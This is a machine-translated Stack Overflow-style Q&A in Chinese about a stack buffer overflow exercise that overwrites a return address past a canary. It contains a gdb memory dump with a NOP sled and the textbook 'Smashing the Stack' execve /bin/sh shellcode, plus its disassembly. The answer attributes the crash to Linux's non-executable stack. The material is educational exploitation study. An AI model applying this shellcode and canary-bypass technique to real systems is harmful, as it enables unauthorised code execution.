[英]Buffer overflow : EIP and jump correctly set but segfault
我进行缓冲区溢出,避免通过的memcpy的指针金丝雀,作为解释在这里 。 简而言之,使用堆栈中RET的地址覆盖指针指向的地址。 因此,对该指针的处理有效地覆盖了RET。
使用gdb,我注入了NOP底座+ shellcode + address_overwrite。 我可以看到RET在0xbffff52c处包含一个所需地址0xbffff4c0,该地址将降落在NOP底座中。
(gdb) x /32xw $esp 0xbffff470: 0xbffff52c 0x0804a008 0x00000004 0x00000000 0xbffff480: 0x000003f3 0x08048327 0x90909087 0x90909090 0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4d0: 0x90909090 0x90909090 0x90909090 0xeb909090 0xbffff4e0: 0x76895e1f 0x88c03108 0x46890746 0x890bb00c (gdb) 0xbffff4f0: 0x084e8df3 0xcd0c568d 0x89db3180 0x80cd40d8 0xbffff500: 0xffffdce8 0x69622fff 0x68732f6e 0xbffff52c 0xbffff510: 0xbffff5a8 0xb7ff5990 0x0000008f 0xbffff5a8 0xbffff520: 0xb7fd1ff4 0x0804a008 0xbffff5a8 0xbffff4c0 0xbffff530: 0x0804a008 0x0804a008 0x0000008f 0x00000001 0xbffff540: 0x00000801 0x00000000 0xbfff0000 0x002001ac 0xbffff550: 0x000081a4 0x00000001 0x000004ad 0x000004ad 0xbffff560: 0x00000000 0x00000000 0xb7fd0000 0x0000008f
但是,运行此命令会出现以下错误,即使显示出我的着陆很好。
Program received signal SIGSEGV, Segmentation fault.
0xbffff4c0 in ?? ()
(gdb) disas 0xbffff4c0, + 10
Dump of assembler code from 0xbffff4c0 to 0xbffff4ca:
=> 0xbffff4c0: nop
0xbffff4c1: nop
0xbffff4c2: nop
0xbffff4c3: nop
0xbffff4c4: nop
0xbffff4c5: nop
0xbffff4c6: nop
0xbffff4c7: nop
0xbffff4c8: nop
0xbffff4c9: nop
下面是shellcode。
0xbffff4df: jmp 0xbffff500
0xbffff4e1: pop %esi
0xbffff4e2: mov %esi,0x8(%esi)
0xbffff4e5: xor %eax,%eax
0xbffff4e7: mov %al,0x7(%esi)
0xbffff4ea: mov %eax,0xc(%esi)
0xbffff4ed: mov $0xb,%al
0xbffff4ef: mov %esi,%ebx
...等
我为Linux系统使用了“ 粉碎堆栈 ”附录B中的shellcode。 你能帮我了解怎么了吗?
您没有说您正在使用什么操作系统,也没有说您如何构建目标程序。
假设Linux没有-Wl,-z,execstack
,则现代Linux发行版默认为-Wl,-z,noexecstack
, -Wl,-z,noexecstack
,这(使您惊讶)使堆栈不可执行。
您可以在此处了解一些保护机制。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.